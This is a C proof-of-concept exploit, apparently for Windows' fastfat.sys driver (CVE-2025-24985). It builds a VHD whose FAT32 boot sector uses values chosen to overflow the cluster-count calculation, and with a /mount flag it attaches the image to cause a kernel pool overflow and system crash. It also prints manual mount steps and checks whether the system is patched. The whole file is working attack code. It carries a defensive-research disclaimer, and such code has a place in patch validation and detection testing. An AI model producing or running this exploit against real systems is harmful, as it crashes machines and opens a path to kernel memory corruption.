/*
 * CVE-2025-24985 -- fastfat.sys Integer Overflow -> Kernel Pool Overflow PoC
 *
 * Description:
 *   Triggers the integer overflow in FatSetupAllocationSupport() /
 *   FatExamineFatEntries() by creating a VHD file with a crafted FAT32
 *   boot sector. The crafted boot sector values produce a cluster count
 *   of 0xFFFFFFFB via integer overflow in the computation:
 *     NumberOfClusters = (NumberOfSector32 - NumberOfFatTables *
 *                         SectorsPerFat32 - ReservedSectors) /
 *                         SectorsPerCluster
 *   = (0xFFFFFFFF - 2 * 0x80000000 - 4) / 1 = 0xFFFFFFFB
 *
 *   This causes ExAllocatePoolWithTag to allocate 0x20 bytes (minimum)
 *   for a bitmap that tracks 0xFFFFFFFB clusters, leading to a kernel
 *   paged pool overflow when RtlSetBits/RtlClearBits write past the
 *   allocation boundary.
 *
 * Build (MSVC x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2025_24985.c /link kernel32.lib version.lib advapi32.lib virtdisk.lib
 *
 * Usage:
 *   poc_cve_2025_24985.exe         (normal - creates VHD only)
 *   poc_cve_2025_24985.exe /v      (verbose)
 *   poc_cve_2025_24985.exe /mount  (creates AND mounts - WILL BSOD vulnerable systems!)
 *
 * Expected (pre-patch):  BSOD during VHD mount (kernel pool overflow)
 * Expected (post-patch): Mount fails with disk corrupt error
 *
 * WARNING: With /mount flag, this PoC WILL BSOD vulnerable systems.
 *          Run in a VM only. Without /mount, it only creates the VHD file.
 *
 * Author: OnlyFm252
 * Date:   2026-07-26
 * CVE:    CVE-2025-24985
 *
 * DISCLAIMER: FOR DEFENSIVE RESEARCH AND BLUE TEAM DETECTION TESTING ONLY.
 */

/* -- poc_common.h configuration -- */
#define POC_CVE     "CVE-2025-24985"
#define POC_BINARY  L"fastfat.sys"

static int g_verbose = 0;
#define POC_VERBOSE g_verbose

#include "poc_common.h"

#include <virtdisk.h>

#pragma comment(lib, "virtdisk.lib")

/* ======================================================================
 *  FAT32 Boot Sector (BPB) layout — key fields
 * ====================================================================== */

#pragma pack(push, 1)
typedef struct _FAT32_BOOT_SECTOR {
    BYTE  jmpBoot[3];           /* 0x00: EB 58 90 */
    BYTE  oemName[8];           /* 0x03: "MSDOS5.0" */
    WORD  bytesPerSector;       /* 0x0B: 0x0200 */
    BYTE  sectorsPerCluster;    /* 0x0D: 1 (crafted) */
    WORD  reservedSectors;      /* 0x0E: 4 (crafted) */
    BYTE  numberOfFatTables;    /* 0x10: 2 */
    WORD  rootEntryCount;       /* 0x11: 0 (FAT32) */
    WORD  totalSectors16;       /* 0x13: 0 (use 32-bit field) */
    BYTE  mediaType;            /* 0x15: 0xF8 */
    WORD  sectorsPerFat16;      /* 0x16: 0 (FAT32) */
    WORD  sectorsPerTrack;      /* 0x18: 0x3F */
    WORD  numberOfHeads;        /* 0x1A: 0xFF */
    DWORD hiddenSectors;        /* 0x1C: partition offset */
    DWORD totalSectors32;       /* 0x20: 0xFFFFFFFF (crafted) */

    /* FAT32-specific fields */
    DWORD sectorsPerFat32;      /* 0x24: 0x80000000 (crafted) */
    WORD  extFlags;             /* 0x28: 0 */
    WORD  fsVersion;            /* 0x2A: 0 */
    DWORD rootCluster;          /* 0x2C: 2 */
    WORD  fsInfoSector;         /* 0x30: 1 */
    WORD  backupBootSector;     /* 0x32: 0 */
    BYTE  reserved[12];         /* 0x34: zeros */
    BYTE  driveNumber;          /* 0x40: 0x80 */
    BYTE  reserved1;            /* 0x41: 0 */
    BYTE  bootSignature;        /* 0x42: 0x29 */
    DWORD volumeSerialNumber;   /* 0x43: random */
    BYTE  volumeLabel[11];      /* 0x47: "ONLYFM252  " */
    BYTE  fileSystemType[8];    /* 0x52: "FAT32   " */
    BYTE  bootCode[420];        /* 0x5A: zeros */
    WORD  signature;            /* 0x1FE: 0xAA55 */
} FAT32_BOOT_SECTOR;
#pragma pack(pop)

/* ======================================================================
 *  VHD Footer (512 bytes) — fixed disk format
 * ====================================================================== */

#pragma pack(push, 1)
typedef struct _VHD_FOOTER {
    BYTE  cookie[8];            /* "conectix" */
    DWORD features;             /* 0x00000002 (reserved) */
    DWORD fileFormatVersion;    /* 0x00010000 */
    ULONGLONG dataOffset;       /* 0xFFFFFFFFFFFFFFFF (fixed disk) */
    DWORD timeStamp;            /* seconds since 2000-01-01 */
    BYTE  creatorApp[4];        /* "fm25" */
    DWORD creatorVersion;       /* 0x00010000 */
    BYTE  creatorHostOS[4];     /* "Wi2k" */
    ULONGLONG originalSize;     /* disk size in bytes */
    ULONGLONG currentSize;      /* disk size in bytes */
    DWORD diskCylinders;
    BYTE  diskHeads;
    BYTE  diskSectorsPerTrack;
    DWORD diskType;             /* 2 = fixed */
    DWORD checksum;             /* one's complement of sum */
    BYTE  uniqueId[16];         /* GUID */
    BYTE  savedState;           /* 0 */
    BYTE  reserved[427];        /* zeros */
} VHD_FOOTER;
#pragma pack(pop)

/* ======================================================================
 *  Paths
 * ====================================================================== */

static const wchar_t *VHD_PATH = L"C:\\Users\\Public\\OnlyFm252_24985.vhd";

/* ======================================================================
 *  Helpers
 * ====================================================================== */

static DWORD vhd_checksum(const BYTE *data, DWORD len)
{
    DWORD sum = 0;
    DWORD i;
    for (i = 0; i < len; i++)
        sum += data[i];
    return ~sum;
}

static DWORD swap32(DWORD v)
{
    return ((v & 0xFF) << 24) | ((v & 0xFF00) << 8) |
           ((v & 0xFF0000) >> 8) | ((v & 0xFF000000) >> 24);
}

static ULONGLONG swap64(ULONGLONG v)
{
    ULONGLONG hi = swap32((DWORD)(v & 0xFFFFFFFF));
    ULONGLONG lo = swap32((DWORD)(v >> 32));
    return (hi << 32) | lo;
}

static BOOL create_crafted_vhd(const wchar_t *path)
{
    HANDLE hFile;
    DWORD written;
    BYTE sector[512];
    FAT32_BOOT_SECTOR *bpb;
    VHD_FOOTER footer;
    DWORD i;

    /* VHD disk size: we need enough sectors to hold the FAT tables.
     * With SectorsPerFat32 = 0x80000000 and 2 FAT tables, the FAT alone
     * would be enormous. For the PoC, we create a minimal VHD (just
     * boot sector + enough to trigger the mount path). The overflow
     * happens during metadata parsing, not data access. */
    const DWORD TOTAL_SECTORS = 2048;  /* ~1MB, enough for boot + FAT start */
    const DWORD DISK_SIZE = TOTAL_SECTORS * 512;

    hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL,
                        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        POC_WARN(L"Cannot create VHD file: %lu", GetLastError());
        return FALSE;
    }

    /* Write crafted FAT32 boot sector */
    memset(sector, 0, 512);
    bpb = (FAT32_BOOT_SECTOR *)sector;

    bpb->jmpBoot[0] = 0xEB;
    bpb->jmpBoot[1] = 0x58;
    bpb->jmpBoot[2] = 0x90;
    memcpy(bpb->oemName, "MSDOS5.0", 8);
    bpb->bytesPerSector     = 0x0200;
    bpb->sectorsPerCluster  = 1;           /* KEY: 1 sector = 1 cluster */
    bpb->reservedSectors    = 4;           /* KEY: minimal reserved */
    bpb->numberOfFatTables  = 2;
    bpb->rootEntryCount     = 0;
    bpb->totalSectors16     = 0;
    bpb->mediaType          = 0xF8;
    bpb->sectorsPerFat16    = 0;
    bpb->sectorsPerTrack    = 0x3F;
    bpb->numberOfHeads      = 0xFF;
    bpb->hiddenSectors      = 0;
    bpb->totalSectors32     = 0xFFFFFFFF;  /* KEY: max sectors */
    bpb->sectorsPerFat32    = 0x80000000;  /* KEY: causes subtraction overflow */
    bpb->extFlags           = 0;
    bpb->fsVersion          = 0;
    bpb->rootCluster        = 2;
    bpb->fsInfoSector       = 1;
    bpb->backupBootSector   = 0;
    bpb->driveNumber        = 0x80;
    bpb->bootSignature      = 0x29;
    bpb->volumeSerialNumber = 0xDEAD1337;
    memcpy(bpb->volumeLabel,    "ONLYFM252  ", 11);
    memcpy(bpb->fileSystemType, "FAT32   ", 8);
    bpb->signature          = 0xAA55;

    if (!WriteFile(hFile, sector, 512, &written, NULL) || written != 512) {
        POC_WARN(L"Failed to write boot sector: %lu", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }

    /* Write remaining sectors as zeros (minimal disk) */
    memset(sector, 0, 512);
    for (i = 1; i < TOTAL_SECTORS; i++) {
        if (!WriteFile(hFile, sector, 512, &written, NULL)) {
            CloseHandle(hFile);
            return FALSE;
        }
    }

    /* Write VHD footer (last 512 bytes) */
    memset(&footer, 0, sizeof(footer));
    memcpy(footer.cookie, "conectix", 8);
    footer.features         = swap32(0x00000002);
    footer.fileFormatVersion = swap32(0x00010000);
    footer.dataOffset       = swap64(0xFFFFFFFFFFFFFFFFULL);
    footer.timeStamp        = 0;
    memcpy(footer.creatorApp, "fm25", 4);
    footer.creatorVersion   = swap32(0x00010000);
    memcpy(footer.creatorHostOS, "Wi2k", 4);
    footer.originalSize     = swap64(DISK_SIZE);
    footer.currentSize      = swap64(DISK_SIZE);
    footer.diskType         = swap32(2);  /* fixed */

    /* Compute checksum (over first 64 bytes, with checksum field zeroed) */
    footer.checksum = 0;
    footer.checksum = swap32(vhd_checksum((BYTE *)&footer, 64));

    if (!WriteFile(hFile, &footer, 512, &written, NULL) || written != 512) {
        POC_WARN(L"Failed to write VHD footer: %lu", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }

    CloseHandle(hFile);
    return TRUE;
}

/* ======================================================================
 *  Main
 * ====================================================================== */

int wmain(int argc, wchar_t *argv[])
{
    int result = -1;
    int doMount = 0;
    int i;

    g_verbose = poc_parse_verbose(argc, argv);

    /* Check for /mount flag */
    for (i = 1; i < argc; i++) {
        if (_wcsicmp(argv[i], L"/mount") == 0)
            doMount = 1;
    }

    /* Unbuffer stdout */
    setvbuf(stdout, NULL, _IONBF, 0);

    poc_banner(L"fastfat.sys Integer Overflow Kernel Pool Overflow");

    /* Pre-flight */
    {
        static const poc_cfr_info cfr[] = { { 0, NULL } };
        poc_preflight(POC_BINARY, NULL, cfr, 0);
    }

    /* -- Step 1: Create crafted VHD with overflow boot sector -- */
    POC_STEP("Create crafted FAT32 VHD with overflow boot sector values");

    POC_INFO(L"Boot sector crafted values:");
    POC_INFO(L"  NumberOfSector32  = 0xFFFFFFFF");
    POC_INFO(L"  SectorsPerFat32   = 0x80000000");
    POC_INFO(L"  NumberOfFatTables = 2");
    POC_INFO(L"  ReservedSectors   = 4");
    POC_INFO(L"  SectorsPerCluster = 1");
    POC_INFO(L"  Cluster count = (0xFFFFFFFF - 2*0x80000000 - 4) / 1 = 0xFFFFFFFB");

    if (!create_crafted_vhd(VHD_PATH)) {
        POC_WARN(L"Failed to create crafted VHD");
        goto cleanup;
    }
    POC_OK(L"Crafted VHD created: %s", VHD_PATH);

    /* -- Step 2: Verify the VHD boot sector -- */
    POC_STEP("Verify crafted boot sector values");

    {
        HANDLE hVerify;
        FAT32_BOOT_SECTOR verify;
        DWORD bytesRead;

        hVerify = CreateFileW(VHD_PATH, GENERIC_READ, FILE_SHARE_READ,
                              NULL, OPEN_EXISTING, 0, NULL);
        if (hVerify != INVALID_HANDLE_VALUE) {
            if (ReadFile(hVerify, &verify, 512, &bytesRead, NULL) && bytesRead == 512) {
                DWORD clusterCount;
                POC_DETAIL(L"BytesPerSector:     0x%04X", verify.bytesPerSector);
                POC_DETAIL(L"SectorsPerCluster:  0x%02X", verify.sectorsPerCluster);
                POC_DETAIL(L"ReservedSectors:    0x%04X", verify.reservedSectors);
                POC_DETAIL(L"NumberOfFatTables:  %u", verify.numberOfFatTables);
                POC_DETAIL(L"TotalSectors32:     0x%08X", verify.totalSectors32);
                POC_DETAIL(L"SectorsPerFat32:    0x%08X", verify.sectorsPerFat32);

                /* Simulate the overflow computation */
                clusterCount = (verify.totalSectors32
                                - verify.numberOfFatTables * verify.sectorsPerFat32
                                - verify.reservedSectors)
                               / verify.sectorsPerCluster;
                POC_OK(L"Computed cluster count: 0x%08X", clusterCount);

                if (clusterCount >= 0xFFFFFFF0) {
                    POC_OK(L"Cluster count is near-maximum -- overflow will trigger");
                    POC_INFO(L"Bitmap size = (0x%08X + 7) >> 3 = 0x%08X",
                             clusterCount, (clusterCount + 7) >> 3);
                }
            }
            CloseHandle(hVerify);
        }
    }

    if (!doMount) {
        /* -- Step 3: Report without mounting -- */
        POC_STEP("VHD created but NOT mounted (use /mount to trigger)");

        POC_INFO(L"The crafted VHD has been created at:");
        POC_INFO(L"  %s", VHD_PATH);
        POC_INFO(L"To trigger the vulnerability, mount it:");
        POC_INFO(L"  - Double-click the .vhd file");
        POC_INFO(L"  - Or: diskpart > select vdisk file=%s > attach vdisk", VHD_PATH);
        POC_WARN(L"WARNING: Mounting WILL BSOD a vulnerable system!");
        POC_INFO(L"On a PATCHED system, mount will fail with corrupt disk error.");

        result = -1;  /* inconclusive -- not mounted */
    } else {
        /* -- Step 3: Mount the VHD (DANGEROUS) -- */
        POC_STEP("Mounting crafted VHD (TRIGGER)");

        POC_WARN(L"On VULNERABLE systems, this WILL cause BSOD!");
        POC_WARN(L"The kernel pool overflow occurs during FAT32 metadata parsing!");

        {
            VIRTUAL_STORAGE_TYPE vst;
            OPEN_VIRTUAL_DISK_PARAMETERS ovdp;
            ATTACH_VIRTUAL_DISK_PARAMETERS avdp;
            HANDLE hVhd = NULL;
            DWORD err;

            memset(&vst, 0, sizeof(vst));
            vst.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_VHD;
            vst.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;

            memset(&ovdp, 0, sizeof(ovdp));
            ovdp.Version = OPEN_VIRTUAL_DISK_VERSION_1;

            err = OpenVirtualDisk(&vst, VHD_PATH,
                                  VIRTUAL_DISK_ACCESS_ALL, 0, &ovdp, &hVhd);
            if (err != ERROR_SUCCESS) {
                POC_INFO(L"OpenVirtualDisk failed: %lu", err);
                if (err == ERROR_FILE_CORRUPT) {
                    POC_OK(L"System rejected corrupt VHD -- PATCHED");
                    result = 0;
                } else {
                    result = -1;
                }
                goto cleanup;
            }

            memset(&avdp, 0, sizeof(avdp));
            avdp.Version = ATTACH_VIRTUAL_DISK_VERSION_1;

            err = AttachVirtualDisk(hVhd, NULL,
                                    ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER, 0,
                                    &avdp, NULL);
            if (err != ERROR_SUCCESS) {
                POC_INFO(L"AttachVirtualDisk failed: %lu", err);
                if (err == ERROR_DISK_CORRUPT || err == ERROR_FILE_CORRUPT) {
                    POC_OK(L"Attach rejected corrupt FAT32 -- PATCHED");
                    result = 0;
                } else {
                    POC_WARN(L"Unexpected error %lu", err);
                    result = -1;
                }
                DetachVirtualDisk(hVhd, DETACH_VIRTUAL_DISK_FLAG_NONE, 0);
                CloseHandle(hVhd);
                goto cleanup;
            }

            /* If we reach here without BSOD, the system is patched */
            POC_OK(L"VHD mounted without crash -- system appears PATCHED");
            result = 0;

            DetachVirtualDisk(hVhd, DETACH_VIRTUAL_DISK_FLAG_NONE, 0);
            CloseHandle(hVhd);
        }
    }

    /* -- Step 4: Evaluate results -- */
    POC_STEP("Evaluate results");

    if (result == 0) {
        POC_OK(L"System is PATCHED -- overflow validation rejects crafted values");
    } else if (result > 0) {
        POC_WARN(L"Possible vulnerability -- overflow was not caught");
    } else {
        POC_INFO(L"Inconclusive -- VHD was created but not mounted");
    }

cleanup:
    /* Only delete VHD if we're not leaving it for manual testing */
    if (doMount)
        DeleteFileW(VHD_PATH);

    poc_results(result);
    return result > 0 ? 1 : 0;
}
